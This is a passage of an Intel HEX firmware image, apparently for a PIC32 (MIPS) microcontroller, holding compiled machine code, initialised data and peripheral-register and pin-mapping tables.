211062000000428c52\n:1065d8001000c2af1800c28f801002002c00c38fb9\n:1065e800211062000000438c1400c28f2b1062003f\n:1065f80007004010000000001800c28f8010020041\n:106608002c00c38f211062000000428c1400c2af1e\n:106618001800c28f010042241800c2af1800c38faf\n:106628004400c28f2b106200b7ff40140000000026\n:106638001400c38fffff0234040062100000000042\n:106648001000c28f04004014000000002110000058\n:10665800ef19410b000000001800c0afe019410b12\n:10666800000000001800c28f801002003800c38f9d\n:10667800211062000000438c3c00c28f2b10620086\n:106688003a004014000000001800c28f8010020079\n:106698003800c38f211062000000438c4000c28f75\n:1066a8002b10430031004014000000001800c28f76\n:1066b800801002002c00c38f211062000000438c60\n:1066c8003400c28f2b1043001d004014000000004e\n:1066d8001800c28f801002002c00c38f21106200a6\n:1066e8000000428c212040001400c58f14000624ad\n:1066f8006ab5400f000000000800401000000000cc\n:106708002800c28f010043242800c3af30000324af\n:10671800000043a0ce19410b000000002800c28fe2\n:10672800010043242800c3af31000324000043a024\n:10673800010002241c00c2afdd19410b000000005b\n:106748001c00c28f09004010000000002800c28f02\n:10675800000040a01800c28fff0042300100422410\n:10676800ff004230ef19410b000000001800c28ff3\n:10677800010042241800c2af1800c38f4400c28f22\n:106788002b106200b7ff4014000000001c00c28fed\n:10679800040040140000000021100000ef19410b14\n:1067a800000000002800c28f000040a01800c28f1f\n:1067b800ff00423021e8c0032400bf8f2000be8fb5\n:0c67c8002800bd270800e00300000000ce\n:020000040000fa\n:020000041d04d9\n:1067d400040000a00400000001000000ffffffff10\n:1067e4003c0000a00100000000000000400000a0e8\n:1067f4000400000000000000080000a004000000e5\n:1068040001000000ffffffff440000a001000000a2\n:1068140000000000450000a001000000000000008e\n:10682400460000a00100000000000000470000a096\n:1068340001000000000000000c0000a004000000a3\n:1068440001000000801000a0480000a00400000027\n:10685400000000004c0000a0040000000000000044\n:10686400000400a0f213000000000000500000a08b\n:1068740008000000000000005c7200a0140000008a\n:1068840000000000580000a002000000000000000a\n:106894005c0000a00400000000000000600000a0f4\n:1068a4000400000000000000640000a002000000da\n:1068b40000000000660000a00100000000000000cd\n:1068c400670000a00100000000000000680000a0b4\n:1068d4000400000000000000707200a0140000001a\n:1068e40000000000100000a00400000001000000ef\n:1068f40074010000140000a0010000000100000069\n:1069040001000000150000a00100000001000000cb\n:10691400010000006c0000a0010000000000000065\n:10692400700000a00400000000000000740000a03b\n:106934000100000000000000780000a00400000036\n:10694400000000007c0000a0040000000000000023\n:10695400f41700a02100000000000000800000a047\n:106964000400000000000000181800a080000000cf\n:1069740000000000001a00a0db020000000000007c\n:10698400e07100a02000000000000000f06a00a0f8\n:106994000401000000000000840000a001000000c9\n:1069a40000000000880000a00400000000000000b7\n:1069b4008c0000a00400000000000000900000a073\n:1069c4000400000000000000940000a0010000008a\n:1069d40000000000980000a0040000000000000077\n:1069e4009c0000a00400000000000000c87200a089\n:1069f4000c00000000000000a00000a00100000046\n:106a040000000000a40000a004000000000000003a\n:106a1400a80000a00400000000000000ac0000a0da\n:106a24000400000000000000b00000a0040000000a\n:106a340000000000b40000a00400000000000000fa\n:106a4400b80000a00400000000000000bc0000a08a\n:106a54000400000000000000c00000a004000000ca\n:106a640000000000c40000a00400000000000000ba\n:106a7400c80000a00400000000000000cc0000a03a\n:106a84000400000000000000d00000a0040000008a\n:106a940000000000180000a0040000000100000035\n:106aa4005c5500a0d40000a0040000000000000019\n:106ab400d80000a00100000000000000d90000a0e0\n:106ac4000100000000000000da0000a00100000046\n:106ad400000000001c0000a00800000001000000ed\n:106ae40028ec019d2cec019d240000a0080000006e\n:106af4000100000030ec019d34ec019ddc0000a09d\n:106b04000400000000000000e00000a001000000fc\n:106b140000000000987000a0800000000000000049\n:106b2400e10000a00100000000000000e20000a05d\n:106b34000100000000000000f46b00a00001000050\n:106b440000000000e30000a00100000000000000bd\n:106b5400e40000a00200000000000000540200a0b5\n:106b6400a4010000010000005c0d029dd40d029df3\n:106b7400600e029db40e029d2c0f029d900f029d8b\n:106b8400ec0f029d4c10029da410029dfc10029d6e\n:106b94005011029dac11029d0812029d5c12029dcf\n:106ba400c012029d1813029d7013029de413029dee\n:106bb4005c14029dd814029d4815029dd415029db3\n:106bc4005016029dac16029d0817029d7017029d77\n:106bd400c817029d3c18029da818029d2019029d09\n:106be4009019029dec19029dc41a029d241b029d5a\n:106bf400741b029dd01b029d3c1c029db41c029d73\n:106c0400401d029da41d029d181e029d841e029d0e\n:106c1400d81e029d241f029d781f029dcc1f029d39\n:106c24002c20029d8820029df420029d4c21029d6f\n:106c34009c21029dec21029d5022029d2423029d51\n:106c4400b023029d2824029d9824029dec24029dd9\n:106c54004025029d9825029df425029d4826029d0b\n:106c64009c26029df426029d5027029da427029d86\n:106c7400fc27029d5428029db828029d1829029dd4\n:106c84008029029dec29029d582a029db02a029d6a\n:106c9400042b029d6c2b029dc02b029d302c029d67\n:106ca400bc2c029d342d029d8c2d029de02d029d55\n:106cb400382e029da42e029d0c2f029d702f029d42\n:106cc400d02f029d1c30029d7430029de430029d41\n:106cd4004831029db031029d2c32029d7832029dd2\n:106ce400d032029d2c33029d8433029de033029df9\n:106cf4003c34029d9034029de434029d2c35029d67\n:106d04009835029d0036029d00000000f46c00a03e\n:106d14000001000000000000e80000a004000000e2\n:106d240000000000f46d00a000010000000000005d\n:106d3400f46e00a000010000000000002c0000a080\n:106d440004000000010000000cf5019ddc1c00a003\n:106d5400044d000000000000407200a01c00000070\n:106d6400010000001a033000310032003300340007\n:106d74003500360037003800390041004200000079\n:106d8400ec0000a00400000000000000f00000a0df\n:106d94000400000000000000187100a05c00000066\n:106da40001000000ec36059df436059dfc36059d7a\n:106db4000437059d0c37059d1437059d1c37059d2b\n:106dc4002437059d2c37059d3437059d3c37059d9b\n:106dd4004037059d4837059d5437059d6037059d0f\n:106de4006837059d7037059d7837059d8037059d6b\n:106df4008837059d9437059d9837059d0000000050\n:106e0400007200a02000000001000000a037059dd2\n:106e1400a837059db037059db037059db437059d4e\n:106e2400b437059db437059d00000000847200a0ae\n:106e340010000000010000007809059d8409059deb\n:106e44009409059d7809059d947200a01000000026\n:106e540001000000a009059da809059db009059d34\n:106e6400b809059df40000a0040000000000000023\n:106e7400f80000a00400000000000000300000a0a2\n:106e8400040000000100000001000000fc0000a05c\n:106e94000400000000000000340000a00100000015\n:106ea40001000000ff000000000100a00400000039\n:106eb40000000000040100a0040000000000000025\n:106ec400080100a00100000000000000a47200a05e\n:106ed40010000000010000003cc3049d4cc3049d4d\n:106ee4005cc3049d6cc3049d0c0100a0040000005d\n:106ef40000000000e06900a0100000000000000095\n:106f0400207200a02000000001000000a0f9049df0\n:106f1400acf9049db4f9049dbcf9049dc4f9049d25\n:106f2400ccf9049dd4f9049ddcf9049d100100a062\n:106f34000400000000000000f06900a0ff00000051\n:106f440000000000b87100a024000000010000004f\n:106f540058f6049d64f6049d6cf6049d74f6049d35\n:106f64007cf6049d84f6049d8cf6049d94f6049da1\n:106f74009cf6049db87200a0100000000000000000\n:106f8400dc7100a00400000000000000f46f00a009\n:106f9400a400000001000000787100a000000000bf\n:106fa400787100a00900000020000000987100a082\n:106fb40000000000987100a00e0201000000000013\n:106fc40000000000000000000000000006020200b3\n:106fd40000000000000000000000000000000000ad\n:106fe400000000000000000000000000000000009d\n:106ff400000000000000000000000000000000008d\n:10700400000000000000000000000000000000007c\n:10701400000000000000000000000000000000006c\n:10702400000000000000000000000000000000005c\n:107034000000000000000000f46f00a0747100a0c4\n:107044004400000000000000380000a0040000001c\n:107054000100000002000000b47200a0040000005f\n:10706400000000000000000022222222222222220c\n:020000040000fa\n:020000041d04d9\n:10707400f8ffbd270400beaf21f0a0030800c4af91\n:107084000800c38faaaa023cabaa423419006200ca\n:107094001010000042100200ffff033423186200a6\n:1070a40080bf023c100643ac80bf033c00066294e0\n:1070b40001000424c47b827c000662a4000000005a\n:1070c4008080828ffeff401000000000808080af2f\n:1070d40021e8c0030400be8f0800bd270800e003b8\n:1070e40000000000e8ffbd271400bfaf1000beafd2\n:1070f40021f0a0031800c4af441c410b00000000a1\n:10710400e80304241d1c410f000000001800c28f76\n:10711400ffff43241800c3aff9ff40140000000030\n:1071240021e8c0031400bf8f1000be8f1800bd27d4\n:107134000800e00300000000e0ffbd271c00bfaf13\n:107144001800beaf21f0a003211080002000c2a3cc\n:10715400841c410b1000c0a380bf033c1060628cf0\n:107164000463027c106062ac80bf033c1060628cdc\n:10717400010004248452827c106062ac2000c3931a\n:1071840080bf023c651c410b206043ac4000000002\n:1071940080bf023c1060428c00014230fbff401073\n:1071a4000000000080bf033c1060628c8452027cab\n:1071b400106062ac80bf033c00606294c47b027cbc\n:1071c400006062a488bf023c5061428c04004230db\n:1071d4000300401000000000881c410b0000000068\n:1071e4006c8182971d1c410f2120400080bf033c0d\n:1071f4000060629401000424c47b827c006062a469\n:107204001000c293010042241000c2a31000c293d4\n:107214000500422cd0ff40140000000080bf033c56\n:107224000060629401000424c47b827c006062a438\n:1072340080bf033c1060628c010004240463827ce0\n:10724400106062ac80bf033c1060628c4408027c16\n:10725400106062ac80bf023c1060428c010042307e\n:10726400060040100000000080bf023c3060428ce9\n:107274001200c2a7961c410b000000000000000091\n:1072840021e8c0031c00bf8f1800be8f0800e00374\n:107294002000bd27e0ffbd271c00bfaf1800beaf14\n:1072a40021f0a0032000c4af2110a0002400c2a735\n:1072b4002400c3976e8182971800620012100000a8\n:1072c4001000c2af01000224808082af1600c0a368\n:1072d400191d410b00000000e01c410b00000000e0\n:1072e4008080828f2500401000000000808080afe5\n:1072f4001000c28f1e004010000000001000c38f59\n:107304000100023c2b106200090040140000000040\n:107314001400c0a71000c38fffff023c01004234d9\n:10732400211062001000c2afd01c410b000000000d\n:107334001000c28f1400c2a71000c0af1400c2977f\n:10734400ffff0334231062002118400080bf023c79\n:10735400100643ac80bf033c000662940100042481\n:10736400c47b827c000662a4e01c410b0000000088\n:10737400211000001e1d410b0000000080bf023cd4\n:107384001060428c01004230d5ff40100000000024\n:1073940080bf033c00066294c47b027c000662a4a6\n:1073a400808080af80bf023c1060428c0800423075\n:1073b400230040100000000088bf033c4061629439\n:1073c4000442027c406162a480bf033c006062947a\n:1073d400010004240421827c006062a480bf023c7a\n:1073e4003060428cff0043302000c28f000043a075\n:1073f4006c81829742100200ffff4230212040003e\n:107404001d1c410f0000000088bf033c40616294d2\n:10741400010004240442827c406162a480bf033cd6\n:10742400006062940421027c006062a41600c2938e\n:10743400010042241600c2a3191d410b00000000e4\n:1074440080bf023c3060428cff0043302000c28f7a\n:10745400000043a0010002241e1d410b0000000097\n:107464001600c2930500422c9bff4014000000004c\n:107474002110000021e8c0031c00bf8f1800be8f3c\n:107484002000bd270800e00300000000f8ffbd272e\n:107494000400beaf21f0a0036881828f3101033c58\n:1074a400002d63341b006200f40140001010000042\n:1074b40012100000ffff432480bf023c406043ac35\n:1074c4006881828f0f00033c404263341b006200da\n:1074d400f40140001010000012100000ffff4230c1\n:1074e4006c8182a76c818397aaaa023cabaa42341e\n:1074f400190062001010000042100200ffff423029\n:107504006e8182a721e8c0030400be8f0800bd2756\n:107514000800e00300000000f8ffbd270400beaf30\n:1075240021f0a00380bf033c00606294c47b027c12\n:10753400006062a480bf033c1060628c4408027c3b\n:10754400106062ac21e8c0030400be8f0800bd27b0\n:107554000800e00300000000e0ffbd271c00bfafef\n:107564001800beaf21f0a003010002241000c2af36\n:1075740088bf033c40606294444a027c406062a439\n:1075840088bf033c006162940442027c006162a4ef\n:1075940088bf033c606162940442027c606162a41f\n:1075a40088bf033c40616294010004240442827c4d\n:1075b400406162a488bf033c6060629401000424bb\n:1075c400444a827c606062a488bf033c2061629468\n:1075d4000442027c206162a480bf023c100840acdb\n:1075e40080bf023c000840ac80bf023c130003246f\n:1075f400200843ac80bf023c0a000324103243ac91\n:1076040080bf023c0a000324203243ac88bf033c01\n:10761400c06062944408027cc06062a480bf023ce3\n:1076240006000324003243ac1400c0a3911d410b97\n:10763400000000001000c28f401002001000c2af12\n:107644001400c293ffff43241400c3a3f9ff4014a2\n:107654000000000080bf023c2008428cff00423042\n:10766400211840001000c28f21106200c404033ca2\n:1076740000b463341b006200f401400010100000e9\n:1076840012100000708182af7081838f2cb0023c95\n:10769400030b4234190062001010000002120200b1\n:1076a400688182af6881828f0f00033c404263345b\n:1076b4001b006200f40140001010000012100000d2\n:1076c400ffff42306c8182a76c818397aaaa023c97\n:1076d400abaa4234190062001010000042100200ec\n:1076e400ffff42306e8182a76881828f3101033ca3\n:1076f400002d63341b006200f401400010100000f0\n:1077040012100000ffff432480bf023c406043ace2\n:1077140080bf033c1060628c010004240463827cfb\n:10772400106062ac80bf033c0060629401000424da\n:107734004410827c006062a480bf033c00606294b9\n:107744000400027c006062a480bf033c0060629479\n:1077540001000424c418827c006062a488bf033c36\n:10776400a010628c030004248420827ca01062acec\n:1077740088bf033ca010628c010004240408827cae\n:10778400a01062ac88bf033c3010628c0421027ce0\n:10779400301062ac80bf023c30000324000643acce\n:1077a40080bf023cffff0334200643ac88bf033c88\n:1077b4006010628c010004240421827c601062ac9d\n:1077c400212000000157410f00000000ed57410f38\n:1077d4000000000021e8c0031c00bf8f1800be8f0a\n:1077e4002000bd270800e0030000000000e85d4120\n:1077f40000701a4000601b40e8ffbd271400baafb8\n:107804001000bbaf44781b7c000c7b3700609b40ae\n:107814000c00beaf0800a3af0400a2af21f0a00388\n:1078240088bf033c3010628c0421027c301062acaf\n:1078340080bf033c00066294c47b027c000662a401\n:1078440001000224808082af21e8c0030c00be8fb7\n:107854000800a38f0400a28f00606041c0000000f4\n:107864001400ba8f1000bb8f00709a401800bd2717\n:1078740000e8dd4100609b4018000042e8ffbd279e\n:107884001400bfaf1000beaf21f0a0031800c4afb6\n:107894001800c48f3bff400f0000000021e8c00324\n:1078a4001400bf8f1000be8f1800bd270800e0032e\n:1078b4000000000068ffbd279400bfaf9000beaf7a\n:1078c40021f0a0039800c4af9c00c5af1000c227ec\n:1078d400212040009c00c58f4b1e410f000000007a\n:1078e400040040140000000021100000451e410b5c\n:1078f400000000009800c48f1000c2272128400017\n:107904008000062463b9400f000000000100022437\n:1079140021e8c0039400bf8f9000be8f9800bd275c\n:107924000800e0030000000078ffbd278400bfaf1b\n:107934008000beaf7c00b0af21f0a0038800c4afcc\n:107944008c00c5af2c00c227212040002128000054\n:10795400400006246551410f000000008c00c28fd6\n:10796400000043904100022405006214000000005e\n:10797400010002242c00c2a3691e410b0000000078\n:107984008c00c28f00004390300002240400621077\n:1079940000000000211000000a1f410b000000003d\n:1079a4008c00c28f01004224000043904400022452\n:1079b4000500621400000000010002243b00c2a381\n:1079c4007c1e410b000000008c00c28f0100422489\n:1079d4000000439030000224040062100000000004\n:1079e400211000000a1f410b000000008c00c28f10\n:1079f4000200422421204000040005249cb5400fcd\n:107a0400000000001c00c2af2c00c227100042245a\n:107a1400212040001c00c58f0a0006244cb6400fec\n:107a2400000000008c00c28f060042242120400088\n:107a34000c000524cab5400f000000002000c2afae\n:107a44002400c3af2c00c2271a00422426000324ba\n:107a54001000a3af212040002000c68f2400c78f50\n:107a640084b6400f000000002c00c22721204000f3\n:107a740040000524abbc400f000000008800c48f08\n:107a8400212800000a0006246551410f000000006f\n:107a94008800c28f0a0042242120400001000524ee\n:107aa400760006246551410f000000001800c0a3b1\n:107ab400c21e410b000000001800c3932110600097\n:107ac400c0100200211043000b0042248800c38f21\n:107ad400211862001800c293c01002002c00c427b1\n:107ae4002110820021206000212840000800062483\n:107af400494a410f000000001800c29301004224cb\n:107b04001800c2a31800c2930800422ceaff4014d4\n:107b1400000000001800c0a3d91e410b00000000a3\n:107b24001800d0931800c293c01002002c00c32781\n:107b34002110620021204000080005242db6400fca\n:107b440000000000ff0043301800c227211050003d\n:107b5400540043a01800c293010042241800c2a399\n:107b64001800c2930800422cedff401400000000ee\n:107b74006c00c2272120400008000524a0bd400f4e\n:107b8400000000002800c2af8800c28f53004324c5\n:107b94002800c28f02120200212060002128400028\n:107ba400080006244cb6400f000000008800c28f75\n:107bb4005c004224212040002800c58f08000624d0\n:107bc4004cb6400f000000001800c0a3051f410b75\n:107bd400000000001800c39321106000c0100200d0\n:107be40021104300650042248800c38f21106200e5\n:107bf4002120400021280000080006246551410f7f\n:107c0400000000001800c293010042241800c2a31f\n:107c14001800c2930300422ceeff40140000000041\n:107c24000100022421e8c0038400bf8f8000be8fbe\n:107c34007c00b08f8800bd270800e003000000002e\n:107c440058ffbd27a400bfafa000beaf21f0a00322\n:107c5400a800c4afac00c5af2000c227212040005b\n:107c6400ac00c58f661f410f0000000004004014e3\n:107c74000000000021100000601f410b0000000004\n:107c84002000c2272120400040000524abbc400f47\n:107c9400000000002000c293060040100000000015\n:107ca400a800c28f41000324000043a0311f410bf0\n:107cb40000000000a800c28f30000324000043a08d\n:107cc4002f00c2930700401000000000a800c28fdc\n:107cd4000100422444000324000043a03e1f410b42\n:107ce40000000000a800c28f0100422430000324d9\n:107cf400000043a02000c22710004224212040009d\n:107d04000a0005242db6400f000000001000c2af89\n:107d1400a800c28f0200422421204000059d023c9d\n:107d2400705f45241000c68fac54410f0000000062\n:107d34002000c2271a0042242120400026000524e6\n:107d440010b7400f000000001800c2afc3170200b4\n:107d54001c00c2afa800c28f0600422421204000ac\n:107d6400059d023c785f45241800c68f1c00c78f10\n:107d7400ac54410f000000000100022421e8c003bc\n:107d8400a400bf8fa000be8fa800bd270800e00399\n:107d94000000000040ffbd27bc00bfafb800beaf6d\n:107da400b400b0af21f0a003c000c4afc400c5af9d\n:107db4002000c0a32100c0a32200c0a32300c0a3ad\n:107dc4002400c0a32500c0a32600c0a32700c0a38d\n:107dd400010002242800c2a32c00c2272120400055\n:107de400c400c58fe7b8400f000000001000c0a316\n:107df4008b1f410b000000001000c2931000c3272a\n:107e0400211062001c004290040040100000000099\n:107e1400211000001220410b000000001000c2934a\n:107e2400010042241000c2a31000c2930a00422c95\n:107e3400f1ff4014000000003600c3930100022447\n:107e44000400621000000000211000001220410b09\n:107e5400000000001000c0a3ac1f410b0000000094\n:107e64001000d0931000c39321106000c0100200d2\n:107e7400211043000b0042242c00c3272110620070\n:107e840021204000080005242db6400f000000000a\n:107e9400ff0043301000c22721105000080043a007\n:107ea4001000c293010042241000c2a31000c29328\n:107eb4000800422ceaff4014000000002c00c227f6\n:107ec4005300422421204000080005242db6400f11\n:107ed40000000000001202001400c2af2c00c227f0\n:107ee4005c00422421204000080005242db6400fe8\n:107ef400000000001400c38f211062001400c2af00\n:107f04001800c2272120400008000524a0bd400f0e\n:107f140000000000211840001400c28f0400621009\n:107f240000000000211000001220410b000000009e\n:107f34001000c0a3e51f410b000000001000c39314\n:107f440021106000c010020021104300650042248b\n:107f54002c00c327211862002000c22721206000c2\n:107f64002128400009000624d352410f00000000dc\n:107f74000400401000000000211000001220410bfa\n:107f8400000000001000c293010042241000c2a3ac\n:107f94001000c2930300422ce8ff401400000000cc\n:107fa4001000c0a30d20410b000000001000c2937c\n:107fb4000100432421106000c0100200211043007e\n:107fc4000a0042241000c327211062001c004390c1\n:107fd40001000224040062100000000021100000cf\n:107fe4001220410b000000001000c293c0100200d8\n:107ff400c000c38f212062001000c39321106000d1\n:10800400c0100200211043000b0042242c00c3279f\n:10801400211062002128400008000624494a410f2b\n:10802400000000001000c293010042241000c2a30b\n:108034001000c2930800422cdcff40140000000032\n:108044000100022421e8c003bc00bf8fb800be8f2a\n:10805400b400b08fc000bd270800e003000000009a\n:1080640088ffbd277400beaf21f0a0037800c4af21\n:108074002110000021e8c0037400be8f7800bd27e2\n:108084000800e0030000000068ffbd279400bfafb4\n:108094009000beaf21f0a0039800c4af9c00c5af10\n:1080a4001000c227212040009c00c58f4b1e410fa9\n:1080b4000000000004004014000000002110000033\n:1080c4003a20410b000000009800c48f1000c22722\n:1080d400212840008000062463b9400f00000000fe\n:1080e4000100022421e8c0039400bf8f9000be8fda\n:1080f4009800bd270800e0030000000078ffbd27ba\n:108104008400bfaf8000beaf7c00b0af21f0a003fd\n:108114008800c4af8c00c5af2c00c22721204000ca\n:1081240021280000400006246551410f0000000092\n:108134008c00c28f000043904100022405006214a9\n:1081440000000000010002242c00c2a35e20410ba9\n:10815400000000008c00c28f000043903000022415\n:10816400040062100000000021100000ff20410bf9\n:10817400000000008c00c28f0100422400004390e4\n:1081840044000224050062140000000001000224df\n:108194003b00c2a37120410b000000008c00c28f81\n:1081a40001004224000043903000022404006210c5\n:1081b4000000000021100000ff20410b000000001f\n:1081c4008c00c28f020042242120400004000524b8\n:1081d4009cb5400f000000001c00c2af2c00c22759\n:1081e40010004224212040001c00c58f0a000624f0\n:1081f4004cb6400f000000008c00c28f06004224e1\n:10820400212040000c000524cab5400f00000000e6\n:108214002000c2af2400c3af2c00c2271a0042249e\n:10822400260003241000a3af212040002000c68fa5\n:108234002400c78f84b6400f000000002c00c22722\n:108244002120400040000524abbc400f000000008a\n:108254008800c48f212800000a0006246551410fbc\n:10826400000000008800c28f0a0042242120400040\n:1082740001000524760006246551410f000000002a\n:108284001800c0a3b720410b000000001800c393de\n:1082940021106000c0100200211043000b00422492\n:1082a4008800c38f211862001800c293c010020016\n:1082b4002c00c427211082002120600021284000c6\n:1082c40008000624494a410f000000001800c29328\n:1082d400010042241800c2a31800c2930800422cd3\n:1082e400eaff4014000000001800c0a3ce20410b98\n:1082f400000000001800d0931800c293c0100200c0\n:108304002c00c3272110620021204000080005240e\n:108314002db6400f00000000ff0043301800c227b4\n:1083240021105000540043a01800c29301004224bd\n:108334001800c2a31800c2930800422cedff401499\n:10834400000000006c00c227212040000800052422\n:10835400a0bd400f000000002800c2af8800c28ffb\n:10836400530043242800c28f02120200212060001f\n:1083740021284000080006244cb6400f00000000ed\n:108384008800c28f5c004224212040002800c58f51\n:10839400080006244cb6400f000000001800c0a3db\n:1083a400fa20410b000000001800c3932110600064\n:1083b400c010020021104300650042248800c38fce\n:1083c400211062002120400021280000080006241a\n:1083d4006551410f000000001800c29301004224bf\n:1083e4001800c2a31800c2930300422ceeff4014ed\n:1083f400000000000100022421e8c0038400bf8fb4\n:108404008000be8f7c00b08f8800bd270800e00389\n:108414000000000058ffbd27a400bfafa000beaffe\n:1084240021f0a003a800c4afac00c5af2000c22750\n:1084340021204000ac00c58f661f410f00000000e2\n:108444000400401400000000211000005521410bdd\n:10845400000000002000c227212040004000052425\n:10846400abbc400f000000002000c2930600401087\n:1084740000000000a800c28f41000324000043a0b4\n:108484002621410b00000000a800c28f3000032405\n:10849400000043a02f00c29307004010000000001a\n:1084a400a800c28f0100422444000324000043a01a\n:1084b4003321410b00000000a800c28f01004224b8\n:1084c40030000324000043a02000c22710004224ef\n:1084d400212040000a0005242db6400f00000000b2\n:1084e4001000c2afa800c28f020042242120400025\n:1084f400059d023c805f45241000c68fac54410f9b\n:10850400000000002000c2271a004224212040005d\n:108514002600052410b7400f000000001800c2af69\n:10852400c31702001c00c2afa800c28f0600422479\n:1085340021204000059d023c885f45241800c68f19\n:108544001c00c78fac54410f00000000010002243e\n:1085540021e8c003a400bf8fa000be8fa800bd27e0\n:108564000800e0030000000040ffbd27bc00bfafcf\n:10857400b800beafb400b0af21f0a003c000c4afd8\n:10858400c400c5af2000c0a32100c0a32200c0a323\n:108594002300c0a32400c0a32500c0a32600c0a3b9\n:1085a4002700c0a3010002242800c2a32c00c22774\n:1085b40021204000c400c58fe7b8400f0000000030\n:1085c4001000c0a38021410b000000001000c293e2\n:1085d4001000c327211062001c00429004004010c8\n:1085e40000000000211000000722410b00000000e1\n:1085f4001000c293010042241000c2a31000c293d1\n:108604000a00422cf1ff4014000000003600c3931e\n:108614000100022404006210000000002110000088\n:108624000722410b000000001000c0a3a121410b50\n:10863400000000001000d0931000c39321106000cc\n:10864400c0100200211043000b0042242c00c32759\n:108654002110620021204000080005242db6400f9f\n:1086640000000000ff0043301000c227211050001a\n:10867400080043a01000c293010042241000c2a3ca\n:108684001000c2930800422ceaff401400000000ce\n:108694002c00c22753004224212040000800052456\n:1086a4002db6400f00000000001202001400c2affb\n:1086b4002c00c2275c00422421204000080005242d\n:1086c4002db6400f000000001400c38f211062007b\n:1086d4001400c2af1800c22721204000080005245e\n:1086e400a0bd400f00000000211840001400c28ffc\n:1086f4000400621000000000211000000722410b5a\n:10870400000000001000c0a3da21410b00000000ab\n:108714001000c39321106000c01002002110430018\n:10872400650042242c00c327211862002000c227c0\n:10873400212060002128400009000624d352410f63\n:1087440000000000040040100000000021100000a0\n:108754000722410b000000001000c29301004224d4\n:108764001000c2a31000c2930300422ce8ff40147f\n:10877400000000001000c0a30222410b0000000012\n:108784001000c2930100432421106000c0100200b5\n:10879400211043000a0042241000c3272110620064\n:1087a4001c00439001000224040062100000000039\n:1087b400211000000722410b000000001000c293aa\n:1087c400c0100200c000c38f212062001000c393b8\n:1087d40021106000c0100200211043000b0042244d\n:1087e4002c00c32721106200212840000800062421\n:1087f400494a410f000000001000c29301004224c6\n:108804001000c2a31000c2930800422cdcff4014e5\n:10881400000000000100022421e8c003bc00bf8f57\n:10882400b800be8fb400b08fc000bd270800e003bd\n:048834000000000040\n:020000040000fa\n:020000041d04d9\n:10883800301088bf601088bf01000000301088bf6a\n:10884800601088bf02000000301088bf601088bf29\n:1088580004000000301088bf601088bf08000000c6\n:10886800301088bf601088bf80000000301088bfbb\n:10887800601088bf00080000301088bf601088bff3\n:1088880000800000301088bf601088bf000008001a\n:10889800301088bf601088bf10000000301088bffb\n:1088a800601088bf00010000301088bf601088bfca\n:1088b80000100000301088bf601088bf0000010061\n:1088c800301088bf601088bf00001000301088bfcb\n:1088d800601088bf20000000301088bf601088bf7b\n:1088e80000020000301088bf601088bf0020000020\n:1088f800301088bf601088bf00000200301088bfa9\n:10890800601088bf00002000401088bf701088bf2a\n:1089180000000020401088bf701088bf0000004091\n:10892800401088bf701088bf00000080501088bfba\n:10893800801088bf01000000501088bf801088bfd9\n:1089480002000000301088bf601088bf400000009f\n:10895800301088bf601088bf00040000301088bf46\n:10896800601088bf00400000301088bf601088bfca\n:1089780000000400301088bf601088bf000040006d\n:10898800401088bf701088bf01000000301088bff9\n:10899800601088bf00008003401088bf701088bf37\n:1089a800e0000000301088bf601088bf0000001c85\n:1089b800401088bf701088bf00070000301088bfc3\n:1089c800601088bf00008000401088bf701088bf0a\n:1089d80020000000301088bf601088bf000000042d\n:1089e800401088bf701088bf00010000301088bf99\n:1089f800601088bf00000002401088bf701088bf58\n:108a080080000000301088bf601088bf0000001090\n:108a1800401088bf701088bf00040000301088bf65\n:108a2800601088bf00000001401088bf701088bf28\n:108a380040000000301088bf601088bf00000008a8\n:108a4800401088bf701088bf00020000301088bf37\n:108a5800601088bf000000e0401088bf701088bf19\n:108a680000380000301088bf601088bf0000001c6c\n:108a7800401088bf701088bfe0000000401088bf19\n:108a8800701088bf00070000301088bf601088bfd2\n:108a980000000020401088bf701088bf0008000048\n:108aa800301088bf601088bf00000004401088bfe5\n:108ab800701088bf20000000401088bf701088bf69\n:108ac80000010000301088bf601088bf000000401f\n:108ad800401088bf701088bf00100000301088bf99\n:108ae800601088bf00000008401088bf701088bf61\n:108af80040000000401088bf701088bf00020000ce\n:108b0800301088bf601088bf00000080401088bf08\n:108b1800701088bf00200000301088bf601088bf28\n:108b280000000010401088bf701088bf800000004f\n:108b3800401088bf701088bf00040000301088bf44\n:108b4800601088bf0000001c401088bf701088bfec\n:108b580000070000401088bf701088bfe0000000c8\n:108b6800501088bf801088bf38000000501088bfa0\n:108b7800801088bf000e0000501088bf801088bf8a\n:108b8800c0010000301088bf601088bf00000004da\n:108b9800401088bf701088bf00010000401088bfd7\n:108ba800701088bf20000000501088bf801088bf58\n:108bb80008000000501088bf801088bf0002000025\n:108bc800501088bf801088bf40000000301088bf58\n:108bd800601088bf00000008401088bf701088bf70\n:108be80000020000401088bf701088bf40000000dd\n:108bf800501088bf801088bf10000000501088bf38\n:108c0800801088bf00040000501088bf801088bf03\n:108c180080000000301088bf601088bf000000107e\n:108c2800401088bf701088bf00040000401088bf43\n:108c3800701088bf80000000501088bf801088bf67\n:108c480020000000501088bf801088bf0008000076\n:108c5800501088bf801088bf00010000401088bff6\n:108c6800701088bf02000000401088bf701088bfd5\n:108c780004000000501088bf801088bf0400000066\n:108c8800401088bf701088bf08000000401088bfdf\n:108c9800701088bf10000000401088bf701088bf97\n:108ca80000400000401088bf701088bf000000011d\n:108cb800401088bf701088bf00800000401088bf37\n:108cc800701088bf00000100401088bf701088bf76\n:108cd80000000200401088bf701088bf0000040028\n:108ce800401088bf701088bf00000800401088bf7f\n:108cf800701088bf00001000401088bf701088bf37\n:108d080000002000401088bf701088bf000040009d\n:108d1800401088bf701088bf00008000401088bfd6\n:108d2800701088bf00000002401088bf701088bf14\n:108d380000000004401088bf701088bf00000008c1\n:108d4800401088bf701088bf00000010901088bfc6\n:108d58000000000002000000901088bf080000001a\n:108d68000a000000901088bf1000000012000000e8\n:108d7800901088bf180000001a000000a01088bfdb\n:108d8800180000001a000000b01088bf180000008a\n:108d98001a000000c01088bf180000001a00000068\n:108da800d01088bf180000001a000000a01088bf6b\n:108db8000000000002000000b01088bf00000000a2\n:108dc80002000000c01088bf000000000200000080\n:108dd800d01088bf0000000002000000e01088bf2b\n:108de8000000000002000000a01088bf080000007a\n:108df8000a000000b01088bf080000000a00000048\n:108e0800c01088bf080000000a000000d01088bf0a\n:108e1800080000000a000000e01088bf08000000f9\n:108e28000a000000a01088bf100000001200000017\n:108e3800b01088bf1000000012000000c01088bfea\n:108e48001000000012000000d01088bf10000000c1\n:108e580012000000e01088bf10000000120000009f\n:108e6800e01088bf180000001a000000001188bf39\n:108e7800180000001a000000f01088bf0000000071\n:108e880002000000101188bf0000000002000000